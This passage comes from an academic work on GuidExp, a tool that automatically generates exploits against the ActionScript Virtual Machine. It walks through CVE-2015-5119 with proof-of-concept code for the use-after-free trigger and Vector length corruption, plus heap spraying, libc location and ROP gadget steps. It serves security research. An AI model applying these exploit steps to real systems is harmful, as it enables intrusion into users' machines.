a vulnerable buffer to read the memory beyond the buffer boundaries to gain access

to libc libraries containing ROP gadgets [194].

Typical ROP attacks exploiting UAF and DF vulnerabilities in language virtual

machines tend to follow a specific malicious activity pattern. This established, well-

rehearsed pattern allows for surreptitious penetration into the system, without being

caught by standard operating system defenses. Here, first, the ROP attack script

obtains one or more access privileges -rwx- for a system resource, such as reading

privileges over ELF binaries. Then, by using these privileges, the ROP attack makes

the next system resource, such as the .plt segment, which is located in ELF binaries

available for itself. The ROP attack follows this pattern until being capable of

completing its full malicious activity goal, such as invoking a system call. The fact

that most exploits follow this typical pattern allows us to deconstruct exploit code

into multiple exploit subgoals, whereby execution of each exploit subgoal sets the

stage for the next exploit subgoal.

For example, in the exploit shown in Fig. 5.2, the trigger slice, which abuses a UAF

vulnerability, allows the ROP attack script to dereference the dangling pointer. The

dangling pointer occurs after the UAF vulnerability is triggered. The dangling pointer

points to the metadata of the freed buffer, so that the ROP attack can modify the

metadata to corrupt the length of the buffer (see § 5.2.1 for more details). The goal

of the ROP attack is to change the .length property of the buffer implicitly with a

large number, without explicitly calling the .length property. The implicit change

in the .length property allows the ROP attack to gain access to memory that lies

beyond the buffer boundaries, since the implicit change does not allow the AVM to
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allocate a large enough empty space for the new buffer size.

Corrupting the .length is our first exploit subgoal and denoted by ’Corrupting a

Buffer Space Implicitly’ in Fig. 5.2. Having the corrupted buffer allows the ROP

attack to spray helper elements such as the payload to be executed into the heap, which

is our second exploit subgoal and denoted by Spraying Helper Elements in Fig. 5.2.

The ROP attack follows this pattern until execution of its malicious payload, which

is the last exploit subgoal, denoted by Building and Executing the ROP Chain in

Fig. 5.2.

5.1.3 Defining Exploit Subgoals, Search Spaces & Invariants

Since the semantics of “exploitability” is fluid, i.e., can change based on security

engineers’ expectations or security-sensitive assets, GuidExp provides flexibility in

defining exploitability of target applications in various settings and environments.

GuidExp allows defining exploitability as the successful completion of a series of

exploit subgoals. For example, by providing exploit subgoals that are necessary to

bypass ASLR, security engineers can obtain the exploit script, and then, they can see

how the exploit code bypasses their ASLR implementation to fix their weaknesses.

GuidExp expects such exploit subgoals to be defined by security experts who have a

thorough knowledge of their target application since the success of GuidExp relies on

defining the exploit subgoals accurately.

In order to synthesize code corresponding to each exploit subgoal, GuidExp will

take as input a collection of exploit subgoals; each exploit subgoal consists of (1) a

search space and (2) an invariant.

The search space consists of a set of opcodes and parameters. An opcode is the

atomic portion of machine code instruction that specifies the operation to be performed.

In ActionScript language, opcodes take zero or more parameters to be used in the

operation [3]. A parameter is either an index to a value stored in the constant pool of

the ActionScript executable or a constant to be pushed into the call stack directly.
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We expect that the security experts will determine opcodes and parameters based on

their experience. The experts should consider semantic meaning of every opcode and

parameter and pick opcodes and parameters that can contribute to synthesizing the

exploit subgoal.

An invariant is a test that decides whether the synthesized code semantically satisfies

the corresponding exploit subgoal, and is written by the security expert in the form of

an ActionScript code snippet. GuidExp utilizes the invariant since it does not modify

the implementation of the AVM or require recompiling the AVM to insert flags that

alert when an error statement is reached.

Consider the simplified example of an exploit script containing an exploit subgoal of

summing two known integer values. Assume, in this simplified example, the trigger

slice for the exploit script creates these integers with the following code snippet:

function init (){

var firstVariable = 6;

var secondVariable = 12;}

To achieve the exploit subgoal, GuidExp needs to append to the given PoC with the

following:

var sum = firstVariable + secondVariable;

The line simply calculates the sum of given two integer variables, firstVariable and

secondVariable. The same line consists of three smaller operations within: (1) assign-

ing a value to a variable, since the resulting sum (firstVariable + secondVariable)

will be assigned to another variable (sum), (2) pushing the values to be summed onto

the operand stack (since the AVM uses the operand stack to store temporary values),

and (3) invoking the sum operator (+).

A security expert can therefore create the search space for this exploit subgoal

by considering these smaller operations. The expert can choose these opcodes for

the search space for the exploit subgoal: getlocal, add, and setlocal. The opcode
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getlocal pushes the value of local variables onto the operand stack, add is the opcode

that pops two values from the operand stack and pushes the result onto the operand

stack, and setlocal pops the top value from the operand stack and assigns the value

to a local variable. The parameters used with the opcodes should be the indices of the

local variables. GuidExp is capable of calculating indices of exploit subgoal-relevant

variables when their names are provided. If no variable name is provided, GuidExp

calculates indices of all local and global variables and adds them to the current search

space.

The invariant for this exploit subgoal will test whether the sum equals to a third

known variable. A good invariant for the exploit subgoal could be:

// thirdVariable = 18

return (sum == thirdVariable)

5.1.4 Constructing Exploit Script from Checkpoints

If GuidExp synthesizes the line that successfully achieves the exploit subgoal, the

invariant returns true. We refer to the ActionScript executable that achieves an

exploit subgoal as a checkpoint. In this example, the checkpoint for the exploit subgoal

consists of the PoC and the line that GuidExp synthesizes. Subsequently, GuidExp

removes the invariant from the checkpoint since the invariant completed its mission

and becomes redundant for synthesizing the next checkpoint. The checkpoint that

achieves the given exploit subgoal for the example in §5.1.3 is:

function init (){

var firstVariable = 6;

var secondVariable = 12;

var sum = firstVariable + secondVariable; }

Acquiring a checkpoint successfully enables the exploit to be ready to aim for the next

exploit subgoal; therefore, GuidExp can stitch the exploit script from checkpoints it

synthesizes.
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Figure 5.3: Overview AEG Tool

5.1.5 Our AEG Tool Overview

Fig. 5.3 depicts an overview of GuidExp, which consists of three phases. GuidExp

takes as input the full series of exploit subgoals, and at the end, produces the final

exploit script. In the first phase, GuidExp reads an exploit subgoal (denoted by τi

in Fig. 5.3) from the collection. Then, GuidExp parses the corresponding search

space and the invariant (denoted by Search Space(τi) and Invariant(τi) in Fig. 5.3

respectively). The Exploit Subgoal Parser is responsible for taking the search space

and the invariant from the exploit subgoal. Both the search space and the invariant

are sent to different units to be used in the second phase.

In the second phase, GuidExp explores all possible execution paths that follow

the execution of the trigger slice and checks whether the current exploit subgoal is

achieved in any execution path. There are three main units in this phase: (i) the
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parser, which generates the AST from the trigger slice into Java structures; the AST

becomes the input for the next main unit, (ii) the Code Generator, which analyzes

the AST to locate the execution path in which the vulnerability is triggered. The

Code Generator outputs executables that follow the execution path by appending

a permutation of instructions given in the exploit subgoal to the trigger slice. The

executables outputted by the Code Generator are input for the final main unit, (iii)

the Invariant Validator, which dynamically monitors execution of the executables

coming from the Code Generator to decide if the current exploit subgoal is achieved

by any of them.

The Code Generator synthesizes distinct executable scripts, called candidate slices

(denoted by Candidate Slice in Fig. 5.3), by appending distinct permutations of

instructions given in the subgoal to the trigger slice at a time. Each executable script

can explore a different execution path. However, at this point, GuidExp can generate

an infinite number of candidate slices that follow the trigger slice. Therefore, along

with the AST, the Code Generator receives as input the search space that consists

of a set of opcodes and parameters that can contribute to the task of satisfying the

current exploit subgoal. GuidExp explores execution paths constructed with opcodes

and parameters given in the search space. Thus, with having the search space, the

Code Generator eliminates the execution paths that perform unrelated operations to

the exploit. Candidate slices are appended to the trigger slice so that they trigger the

vulnerability in the exact same way the trigger slice does.

Fig. 5.5 demonstrates how GuidExp explores execution paths. Here, qi, red and

gray nodes represent AVM program states. State q0 is the initial state, and represents

the initial settings of the AVM. The execution of the trigger slice transitions the

program state to qv, which represents the state of the AVM after the vulnerability

is triggered. Then, GuidExp generates distinct candidate slices to explore different

execution paths. The execution of every candidate slice results in a different program
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Figure 5.4: AEG components description

Name Description

Exploit Subgoal Depicts a malicious activity whereby execution of the mali-
cious activity allows performing another malicious activity
that cannot be performed before.

Exploit Subgoal Parser Responsible for generating search spaces and the invariant
for every predefined exploit subgoal.

Trigger Slice Contains minimum executable code to trigger the target
vulnerability without performing any further activity.

Parser Parses the contents of the trigger slice into Java structures,
according to the AS 3.0 bytecode file format specification [3]
to obtain the corresponding AST.

Code Generator Responsible for generating candidate slices on top of the
AST.

Invariant Validator Inserts the invariant at the end of the execution sequence of
candidate slices to ensure that the monitoring is performed
after the execution of each candidate slice is finished.

Exploit Subgoal Manager Determines whether the invariant is satisfied during the ex-
ecution of the current candidate slice. If the invariant is
satisfied, it restarts the entire process for the next exploit
subgoal until all exploit subgoals are satisfied.

The Target Exploit Performs all malicious activities depicted by exploit subgoals
in a sequence.

state, leading to one of three types of states:

• Red nodes represent program states that result in an error (e.g., type error,

reference error, argument error) or perform an illegal call stack operation (e.g.,

pop when the call stack has zero elements). GuidExp does not append to the

candidate slice whose executions terminate on a red node, since no matter what

opcode and parameter is appended to the candidate slice, its execution raises

the same error (please see § 5.3.4).

• Gray nodes represent program states that do not lead to a program error.

Candidate slices that do not visit a red node are in both syntactically and

semantically correct form, so they can be extended with more instructions to
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obtain new candidate slices. However, these candidate slices (that land on a

gray node) cannot satisfy the current exploit subgoal. Therefore, GuidExp

needs to continue generating more candidate slices by appending new instruction

permutations to these candidate slices (of whose execution ends on a gray node).

• The candidate slice that satisfies the current exploit subgoal is denoted by a

green node and "Checkpoint(τi)" in Fig. 5.5. When a checkpoint is synthesized,

GuidExp stops generating further candidate slices for the current exploit subgoal,

since it has already been satisfied. Then, GuidExp synthesizes new candidate

slices to satisfy the next exploit subgoal. These candidate slices are generated by

appending new instruction permutations to the checkpoint to follow the same

execution path that satisfies the previous exploit subgoals. GuidExp, therefore,

builds the exploit code (denoted by "The Exploit" in Fig. 5.5) by stitching the

checkpoints after all of the given exploit subgoals are satisfied.

Generated candidate slices are sent to the Invariant Validator, which is the third

main unit of the second phase and monitors runtime behaviors of candidate slices.

As GuidExp does not modify the implementation of the AVM, it cannot make

runtime observations. Therefore, GuidExp utilizes invariants to decide whether the

corresponding exploit subgoal is satisfied. GuidExp inserts the invariant at the end

of the execution of candidate slices to avoid altering their intended behaviors. We

expect that the invariant would be given by security experts along with the search

space as inputs for GuidExp. The result that the invariant generates (denoted by

Decision(Candidate Slice, τi) in Fig. 5.3) is input for the Exploit Subgoal Manager

which appraises the decision.

In the final phase, the execution result of candidate slices is evaluated by the Exploit

Subgoal Manager. If the execution of a candidate slice results in an error, the AVM

raises an error message. The error message indicates the type of the error with an

error code [9]. GuidExp uses the error message to disqualify subsequently generated
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Figure 5.5: Exploit Script Generation Process

candidate slices based on the type of the error. If the result is a false, the result

indicates that the candidate slice is executed without raising any error. However, the

candidate slice does not achieve the corresponding target exploit subgoal. In this case,

GuidExp discards the candidate slice and informs the Code Generator to synthesize

a new candidate slice to be tested.

If the result is a true, the candidate slice (denoted by Checkpoint(τi) in Fig. 5.3)

achieves the corresponding target exploit slice. In this case, the Exploit Subgoal

Manager stops the candidate slice generation process and informs the Exploit Subgoal

Parser to parse the next target exploit subgoal. The Exploit Subgoal Parser reads the

next search space and invariant. Simultaneously, the Exploit Subgoal Manager sends

the candidate slice back to the Code Generator so that the Code Generator can use

the candidate slice as the skeleton for the next exploit subgoal and this process keeps

going until all target exploit subgoals are achieved.

5.1.6 Building the ROP Chain

GuidExp aims to synthesize an exploit script that performs an ROP attack. ROP

attacks can perform different types of malicious activities based on the sequence

of gadgets (also known as the ROP chain) they execute, e.g., producing a shell,

running arbitrary code or invoking a system call. Therefore, an ROP attack needs

to build the correct gadget sequence to achieve its malicious intention. GuidExp

builds the ROP chain that executes ’int 0x80’, which is used to invoke system calls.

GuidExp builds and executes the ROP chain in the final exploit subgoal, ’Building
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and Executing the ROP Chain’. The ROP chain consists of 38 lines of codes and

contains ten distinct gadgets. GuidExp builds the chain by itself after locating these

ten gadgets. To locate a gadget, GuidExp needs to synthesize a function which scans

libc libraries and returns the address of the given gadget. After locating the first

gadget, GuidExp invokes the same function definition with different gadget to locate

all required gadgets.

The ROP chain GuidExp builds has the same gadget order with a ROP chain

generated by the tool called ROPgadget [190], which also builds a ROP chain from

gadgets that it locates and that can be accessed during the execution of a given binary.

5.1.7 Main Challenges of Automatic Exploit Generation

Beside the challenges that the researchers mentioned that a typical AEG tool has to

address, AEG for the VMs has additional challenges due to fact that VMs are special

programs that interpret, and execute source code written in a different programming

language. Unlike other applications that accept non-grammatical strings as valid

arguments, inputs for VMs must follow VM-specific format to be interpreted correctly.

The main challenges, including but not limited, are given below:

1. The state space explosion [19] is one of the main challenges with symbolic

execution and other verification techniques. Since symbolic execution forks off a

new interpreter at every branch (if conditions, for loops, etc.), the number

of interpreters increases exponentially.

2. The path selection [19] must be handled precisely because AEG has to prioritize

meaningful paths amongst an infinite number of paths to complete its task in

reasonable amount of time.

3. The environment modeling [19] is another challenge since the virtual machines

interact intensively with the underlying environment. To enable accurate analysis
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on the virtual machines, AEG has to model such interactions (e.g., environment

IO, network packages) correctly.

4. The exploit verification [19] states that it must be verified that the generated

exploit is a working exploit for the given system. Even though, the model reaches

an exploit state, the exploit state may be unreachable for the real-world

system for some reasons.

5. Fuzzing language-specific bytecode is a VM-specific challenge. Many AEG tools

leverage a fuzzer to generate random inputs leading distinct execution paths to

explore all possible behavior of target application. However, VMs cannot be fed

with random inputs since executables for VMs must be specification-adherent in

order to be interpreted. Moreover, small changes in bytecode requires to tailor

the entire bytecode to make the bytecode grammatically valid again. To our

knowledge, current fuzzer or fuzzing algorithms are not capable of generating

working executables for VMs.

5.2 Implementation

5.2.1 Target Vulnerability

We use CVE-2015-5119 as our target vulnerability, since we introduce the vulnera-

bility in §3.2. We provide the same code snippet and walk the reader through how

GuidExp generates the exploit script for this vulnerability.

5.2.2 Preparation: Defining Exploit Subgoals, Inputs & Outputs

As mentioned in §5.1.3, GuidExp takes as input a collection of exploit subgoals and

outputs the exploit script if the target vulnerability is exploitable. In this section, we

discuss the details of the inputs that the security experts need to provide to GuidExp

in order to get the exploit script that performs an ROP attack. While in practice
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Listing 5.1: The PoC for CVE-2015-5119
1 public class malClass extends Sprite {
2 public function malClass ( ) {
3 var b1 = new ByteArray ( ) ;
4 b1 . l ength = 0x200 ;
5 var mal = new hClass ( b1 ) ;
6 b1 [ 0 ] = mal ;
7 }
8 }
9 public class hClass {
10 private var b2 = 0 ;
11 public function hClass (var b3 ) {
12 b2 = b3 ;
13 }
14 public function valueOf ( ) {
15 b2 . l ength = 0x400 ;
16 return 0x40 ;
17 }
18 }

GuidExp takes all exploit subgoals as input at the beginning of the exploit generation

process, for simplicity, here we discuss this process only in the context of the first

exploit subgoal.

In our running example, the first target exploit subgoal in a typical ROP attack, as

shown in Fig. 5.2, is "Corrupting a Buffer Space Implicitly". ROP attacks aim

to obtain access privileges to sensitive system resources such as libc or ELF binaries

by achieving this exploit subgoal. This exploit subgoal can be achieved by appending

the trigger slice with the following source code:

Explo i t . c o l l e c t i o n . push (new Vector<uint>(0x200 ) )

This line of code creates a Vector instance with length 0x200 that accepts only uint

(unsigned integers) elements. The Vector instance is assigned to the memory chunk

previously freed with the malicious function calls in Listing 5.1 since the garbage

collector works with “last-in, first-out” principle and the memory chunk is the last

element freed by the AVM. Also, the memory chunk must be big enough for allocating

the new Vector instance. Thus, its length must be smaller than 0x200, which is the

length of the freed byteArray instance in Listing 5.1.
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In order to synthesize this source code, the search space consists of the opcodes and

parameters in the equivalent bytecode representation of this source code. The optimal

bytecode representation here consists of twelve opcode-parameter pairs, and includes

nine different ActionScript bytecode opcodes [3, 191]: getglobalscope, getslot,

getproperty, setproperty, findpropstrict, pushshort, applytype, construct,

callproperty and six different parameters; the constant pool indices of the Strings

Exploit, collection, uint, Vector , push, and the value of 0x200.

The invariant for the first exploit subgoal should test whether a candidate slice

corrupts the length property of a Vector instance. To do that, the invariant should

check the length of currently allocated Vector instances, and return true if one

of the Vector instances has a length of a large number, such as 0x10000000. An

optimal invariant to perform this check is the following: Line 1 iterates over all Vector

instances allocated during the execution of each candidate slice and Line 2 checks

whether any of the Vector instances has a length greater than 0x10000000. Line 3

holds the corrupted Vector instance to be used in later stages of the exploit. Line 4

returns true and is reached only if such a corrupted Vector instance is created.

In this example above, we expect the security expert to specify a sequence of the

exploit subgoals, in which the first exploit subgoal consists of the search space and the

invariant we mentioned above, and the PoC to allow GuidExp to know the execution

path in which the vulnerability is triggered.

5.2.3 Phase 1: Exploit Subgoal Processing

In the first phase, GuidExp reads the first exploit subgoal and generates the

corresponding search space and invariant. The search space is sent to the code

for (var i =0; i< Explo i t . c o l l e c t i o n . l ength ; i++){
i f ( Exp lo i t . c o l l e c t i o n [ i ] . l ength > 0x10000000 ){

_corrupted = Explo i t . c o l l e c t i o n [ i ] ;
return true ; }

}
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generator and the invariant is the input for the Invariant Validator. For the first

exploit subgoal, GuidExp reads the opcode and parameter sets and the invariant

mentioned in §5.2.2.

5.2.4 Phase 2: Generating Candidate Slices and Validating Invariants

In our running example, the code generator must make use of the dangling pointer,

which occurs after the trigger slice is executed. The dangling pointer points to the

length property, which is a 32-bit value, of the subsequently created Vector instance,

which enables the exploit to corrupt the length property by using b1. As the modern

computer architectures adopt little-endian format, the index 3 of b1 corresponds

to the most significant byte. Thus, the exploit code corrupts the length property of

the Vector instance by replacing Line 6 of Listing 5.1 with the following source code:

b1 [ 3 ] = mal ;

This overrides the most significant byte of the length property and its new value

becomes 0x40000200. Therefore, the exploit can access any memory chunk in the

memory that the running AVM instance can access during its execution.

Meanwhile, the Invariant Validator receives the invariant from the Exploit Subgoal

Parser and is responsible for inserting the invariant for the current exploit subgoal

into every candidate slice that the Code Generator generates. If the invariant utilizes

global or local variables, the Invariant Validator creates such variables as protected

class attributes, so that the variables can be accessible from subclasses as well.

In our running example, the Invariant Validator injects the invariant that it receives

form the first exploit subgoal, into the candidate slice. Since the Invariant Validator

does not know which Vector instance will be corrupted, it must be supported with a

global and static Vector collection. GuidExp automatically checks all instance

creation in candidate slices and if the created instance type is Vector, GuidExp

pushes the Vector instance to the global Vector collection. The Invariant Validator
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therefore can keep track of all Vector instances created during the execution of the

candidate slice. In addition, Line 3 of the optimal invariant stores the corrupted

Vector instance if a candidate slice succeeds to create one. The collection is defined

with the following code:

protected s t a t i c var c o l l e c t i o n :∗ = new Vector.<Vector.<uint>>();

The Invariant Validator modifies the trigger slice to add the definition of the collection

to global scope. The exploit code creates the collection as global, since the collection

must be accessible from any code block inside the exploit and the Invariant Validator

has no chance to know exactly where the corrupted Vector is created.

5.2.5 Phase 3: Evaluating Candidate Slices

In our running example, the candidate slice, "Checkpoint(τ1)", that satisfies the

first exploit subgoal is given in Listing 5.2. Lines 3, 9, 10, and 11 in Listing 5.2 are

inserted by the Invariant Validator, and Lines 7 and 8 in Listing 5.2 are generated

and inserted by the Code Generator. GuidExp uses "Checkpoint(τ1)" as the skeleton

code for synthesizing "Checkpoint(τ2)".

GuidExp performs the same procedure with "Checkpoint(τ1)" and the second

exploit subgoal until all exploit subgoals are achieved. When all target exploit

subgoals are achieved, the exploit subgoal manager outputs the exploit code showing

that the given vulnerability is exploitable. Thus, security engineers can analyze the

exploit code to see how the target vulnerability is exploited, and how the exploit code

uses the vulnerability to perform an actual attack against their security protections.

5.3 Optimization Techniques

Finding the correct permutation of instructions given in exploit subgoals requires

testing all possible permutations in the worst case. As mentioned in §5.2.2, in our

running example, the exploit subgoal contains nine opcodes and six parameters, and
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Listing 5.2: Source code representation of malclass in Checkpoint(τ1)
1 public class malClass extends Sprite {
2 public function malClass ( ) {
3 protected s t a t i c var c o l l e c t i o n :∗ = new Vector.<Vector.<uint>>();
4 var b1 = new ByteArray ( ) ;
5 b1 . l ength = 0x200 ;
6 var mal = new hClass ( b1 ) ;
7 b1 [ 3 ] = mal ;
8 Exp lo i t . c o l l e c t i o n . push (new Vector<uint>(0x200 ) ) ;
9 for (var i =0; i< Explo i t . c o l l e c t i o n . l ength ; i++) {
10 i f ( Exp lo i t . c o l l e c t i o n [ i ] . l ength > 0x10000000 )
11 return true ;
12 }
13 }

the bytecode sequence satisfying the exploit subgoal consists of twelve instructions.

Hence, GuidExp must generate and run 5412 candidate slices in the worst case to

test all possible permutations, which is not practical. In this section, we discuss four

optimization techniques that we successfully implemented to address this challenge

and reduce the number of candidate slices to be tested, leveraging language features

of the ActionScript language.

Table 5.1 demonstrates the efficiency results for our optimization techniques for our

running example. Rows are labeled with numbers given in parentheses. The left cell

of a row describes the value given in the corresponding right cell. Rows written in

bold show the effectiveness of our four optimization techniques and having exploit

subgoals. If a value is required to be calculated, the calculation is given in the same

cell, below the value. Numbers in parentheses used in these calculations refer to the

value of the corresponding rows.

5.3.1 Deconstructing an Exploit into Subgoals

As mentioned in §5.1.3 and demonstrated in Figure 5.2, GuidExp splits the target

exploit script into many smaller exploit subgoals in order to facilitate the exploit

generation task. This is our first optimization technique, and we refer to this henceforth

as exploit deconstruction.

With exploit deconstruction, GuidExp targets synthesizing exploit subgoals in
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sequence instead of synthesizing the entire exploit script at once. Therefore, GuidExp

can define a checkpoint for every exploit subgoal on the execution path of the exploit

script. When GuidExp synthesizes a candidate slice that reaches a checkpoint,

GuidExp prunes all other execution paths that cannot reach the checkpoint, or

those that need a longer path to reach the checkpoint. Figure 5.5 demonstrates how

exploit deconstruction prunes execution paths that GuidExp needs to explore. After

reaching the Checkpoint(τ1), GuidExp focuses on synthesizing the candidate slice

that reaches Checkpoint(τ2). At this point, GuidExp ensures that candidate slices it

generates visit Checkpoint(τ1) before reaching Checkpoint(τ2) despite the fact that

it is possible that there are execution paths that do not visit Checkpoint(τ1) but do

reach Checkpoint(τ2). However, the number of execution paths that GuidExp needs

to explore increases exponentially in each level as GuidExp appends the permutations

of instructions given in the current search space to the trigger slices. Therefore,

with having exploit deconstruction, our experiments show that we can disqualify the

vast majority of execution paths. For our running example, the efficiency of exploit

deconstruction technique for synthesizing Checkpoint(τ1) and Checkpoint(τ2) is given

in the eighth row of Table 5.1.

Subgoal 1: Corrupting a Buffer Space Implicitly. The exploit starts with

triggering the vulnerability after collecting victim system information. Our exploit

triggers the vulnerability as we discuss in §5.2.1. It uses the dangling pointer to

obtain a corrupted Vector space, which is an array whose elements all have the

same data type, as after freeing b1, the first instance allocation happens in the freed

memory chunk pointed by the dangling pointer since the AVM works with "last-in,

first-out" principle. Therefore, the exploit creates a Vector instance after executing

the malicious valueOf() to allocate it to the freed memory chunk with the following:

1 var corruptedVector = new Vector.<uint>(0x3fa )

The dangling pointer points to the length property, which is a 32-bit value, of the
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Table 5.1: Efficiency calculation of our optimization techniques

Description Value

(1) Number of opcodes in AS language 164 [191]

(2) Number of parameters in our trigger slice 33

(3) Number of instructions needed to append
to the trigger slice to produce Checkpoint(τ1) 12

(4) Number of instructions needed to append
to the Checkpoint(τ1) to produce
Checkpoint(τ2) 23

(5) Number of candidate slices that GuidExp 16412 ∗ 3312
needs to generate to produce Checkpoint(τ1) (1)(3) ∗ (2)(3)

(6) Number of candidate slices that GuidExp
needs to generate to produce Checkpoint(τ2) 16435 ∗ 3335
without exploit deconstruction (1)(3)+(4) ∗ (2)(3)+(4)

(7) Number of candidate slices that GuidExp
needs to generate to produce Checkpoint(τ2) 16412 ∗ 3312 + 16423 ∗ 3323
with exploit deconstruction (5) + (1)(4) ∗ (2)(4)

(8) Efficiency of exploit deconstruction ≈ 1045

for the first exploit subgoal (6)/(7)

(9) Number of candidate slices that GuidExp
needs to generate to produce Checkpoint(τ1)
by utilizing the first exploit subgoal 5412 (please see §5.3)

(10) Efficiency of having the first ≈ 1024

exploit subgoal (5)/(9)

(11) Number of tiles in the first subgoal 8

(12) Efficiency of instruction tiling ≈ 1013.5

for the exploit subgoal (9)/(11)(11)

(13) Number of candidate slices 2,396,744
GuidExp needs to generate to
satisfy the first exploit subgoal

∑(11)−1
n=1 (11)n

(14) Number of candidate slices
that pass the operand stack verification 29,167

(15) Number of candidate slices
that pass the operand stack verification
and feedback from the AVM 12,229

(16) Percentage of candidate slices
that the operand stack verification 98.78%
discards for the first exploit subgoal 1− (14)/(13)

(17) Percentage of candidate slices
discarded based on the feedback from 58%
the AVM for the first exploit subgoal 1− (15)/(14)
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1 for (var i =0; i< Explo i t . c o l l e c t i o n . l ength ; i++) {
2 i f ( Exp lo i t . c o l l e c t i o n [ i ] . l ength > 0x40000000 )
3 return true ;
4 }

subsequently created Vector instance which enables the exploit to corrupt the length

property by using b1. As the modern operating systems adopts little-endian

format, the index 3 of b1 corresponds the most significant byte. Thus, the exploit

corrupts the length property of the Vector instance by replacing Line 6 and Line 16

with the followings:

6 b1 [ 3 ] = mal ;

16 return 0x40 ;

This overrides the most significant byte of the length property and its new value

becomes 0x400003fa. Therefore, the exploit can access any memory chunk in the

memory that running Flash Player can access during its execution.

AEG implementations must insert monitoring code at the end of the execution

paths they explore to be capable of monitoring run-time behaviors of the exploit. The

monitoring code that checks whether the exploit has a corrupted memory space is

the following: Here, Line 1 iterates over all Vector instances allocated during the

exploit and Line 2 checks whether any of the Vector instances has a length of bigger

than 0x40000000, and if it finds one, it returns true to alert AEG implementations

that the milestone is explored. The monitoring code adopts a global, static Vector

collection that holds all the Vector instances that are created in the exploit. The

collection is defined with the following:

1 public s t a t i c var c o l l e c t i o n :∗ = new Vector.<Vector.<uint>>();

The exploit creates the collection as global since the collection must be accessible

from any code block inside the exploit and the exploit cannot know exactly where the

corrupted Vector is created.
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Subgoal 2: Spraying helper elements. As modern OSes commonly utilize ASLR

to disable attackers to transfer execution controls to concrete memory addresses,

exploits spray their payload into the call stack and the heap to maximize their chance

to jump onto one. After having a corrupted Vector instance, the exploit sprays big

Vector instances which act as the placeholder for the payload, into the heap with

a ByteArray instance to be corrupted and the object that initializes the exploit as

packed inside of Vector instances. The exploit needs to spray the initializer object

along with the other elements since the pointer of the initializer object located in the

virtual table (VT), which is a mechanism used in a programming language to support

run-time method binding. Therefore, the exploit can locate the VT by locating the

initializer object. In addition, the exploit sets the length of the Vector instances

to a number which is unlikely to be seen in the heap such as 1014 or 0x000003f6

so that the exploit can locate the Vector instances by seeking this number. The

exploit aims to corrupt the ByteArray instance to be able to work on single bytes,

while the Vector instance accepts uints, which are four-bytes in length. Thus, as

ByteArray instances contain the memory address of the head of their corresponding

array instance, the exploit can set both the position and the length of the ByteArray.

Subgoal 3: Locating Sprayed Elements After spraying the Vector instances,

the exploit locates them by looking for the value assigned as their length, in the

corrupted Vector space. After locating a sprayed Vector instance, the exploit knows

that the index 1 points to the ByteArray instance that the exploit wants to corrupt.

Then, The exploit alters the memory cells that holds the position and length properties

of the disclosed ByteArray instance. To do that, the exploit needs to synthesize the

following:
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1 var vec to r_locat i on =0;

2 for (var i= 0 ; i < corruptedVector . l ength ; i++) {

3 i f ( corruptedVector [ i ] == 0x3f6 )

4 vec to r_locat i on = i ; }

Here, corruptedVector in the Line 2 and Line 3 is the Vector instance that the

exploit corrupted its length property in Step 1. Line 2 iterates over the corrupted

memory space and Line 3 tries to recognize one of the sprayed Vector instances by

locating their length properties which was set as 0x000003f6 in the Step 2.

To decide whether the exploit achieves locating one of the sprayed Vector instance,

AEG implementations can look at the value of vector_location as it holds the

location of a sprayed Vector instance. However, one of the execution paths that

AEG implementations explore in this step can simply assign a value to the variable.

Therefore, the monitoring code must verify that the sprayed Vector instance is not

overwritten with the following:

1 i f ( sprayed_vector_locat ion !=0 &&

2 corruptedVector [ sprayed_vector_locat ion ] == 0x3f6 )

3 return true ;

Subgoal 4: Disclosing the offset of the located elements. Locating a sprayed

Vector instance allows the exploit to disclose the offset of pivotal elements in the

memory such as VT. The address of VT can be calculated by locating the initializer

object sprayed inside the placeholder with the ByteArray instance to be corrupted.

Subgoal 5: Corrupting the Disclosed Buffer A ByteArray instance is repre-

sented with an array structure along with its metadata. The exploit positions the

ByteArray instance that it wants to corrupt by altering the location of the array

to 0x00000000 so that the memory addresses of objects and their position in the

ByteArray instance become the same. Also, the exploit sets the size of the array as
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0xffffffff to access the entire memory.

Subgoal 6: Locating ELF object files. Data execution prevention (DEP) is

one of the advanced security mechanisms that prevents arbitrary code execution

by separating executable instructions from memory regions. However, an elegant

exploit can bypass DEP with return-oriented programming (ROP) in which the attacks

stitch their malicious activities from executable code fragments, called gadgets [194].

Therefore, the exploit needs to locate necessary gadgets that reside in executable and

linkable format (ELF) object files [217] to implement a ROP attack. ELF is a common

standard file format for executables and shared libraries, such as libc. After having

the corrupted ByteArray instance, and knowing the location of VT, locating the ELF

binaries is not an arduous task as the ELF binaries start with a header which is ’ELF.’

or 0x464c457f in the hexadecimal representation.

Step 7: Locating libc libraries. With discovering the position of ELF object

files, the exploit can perform the crucial step of locating libc libraries as they are

already executable. The exploit looks for the word ’feof’ which is one of the functions

residing in libc, but seeking any other function with the same properties does the

trick. ’feof’ checks if the end-of-file (EOF) has been reached. The header of the

libc can be revealed with the position of the word ’feof’ as the structure of libc is

well-known.

Subgoal 8: Locating Executable Segment ROP is a cyberattack in which

attackers combine gadgets, a sequence of executable instructions that end up with a

ret instruction, to perform specific malicious tasks. The exploit locates these gadgets

to build a chain of executable instructions to run its shellcode in victim machines.

The exploit needs to spot ’mprotect’ which changes the access protections for the

calling process’s memory pages [108], and ’clone’ which creates a new process that

allows the child process to share parts of its execution context with the calling process,



115

such as the virtual address space [107].

Subgoal 9: Locating gadgets and building the ROP chain. The exploit uses

the gadgets to build a sequence of instructions that executes the payload which has

already been sprayed into memory. The exploit cannot directly jump to an arbitrary

memory address and transfer the control to this memory address because its parent

progress (the vulnerable VM execution) already employs a stack which is the call

stack. Therefore, it starts with creating a fake stack frame (also known as stack

pivot) in the area of memory which forms the ROP chain. Then, the exploit changes

’ESP’, the stack pointer register, with the ’EAX’ that holds this memory address by

using the gadget of ’xchg eax esp, ret’. Additionally, the exploit preserves the

stack pivot with the gadget of ’add esp x2c, ret’. It also saves the original stack

address in ESI, which is used for temporary data storage, to recover the control-flow

after it succeeds the attack with the gadget of ’xchg eax esi, ret’.

5.3.2 Operand Stack Verification

Computation in the AVM is based on executing the code sequence of method bodies,

the constant pool, and the heap for non-primitive data objects created at run-time.

The code sequence is composed of instructions. Each instruction modifies the state of

the AVM or has an effect on the run-time environment by means of input or output.

To manage the execution of method bodies, the AVM employs an operand stack [3],

and a scope stack [3]. The operand stack holds operands for the instructions and

stores their results. The scope stack is part of the run-time environment and stores

objects that are to be searched by the AVM.

Since GuidExp generates a candidate slice for every permutation of instructions

given in the search spaces, some candidate slices could perform illegal operand stack

operations. These illegal operations can causes two types of errors related to the

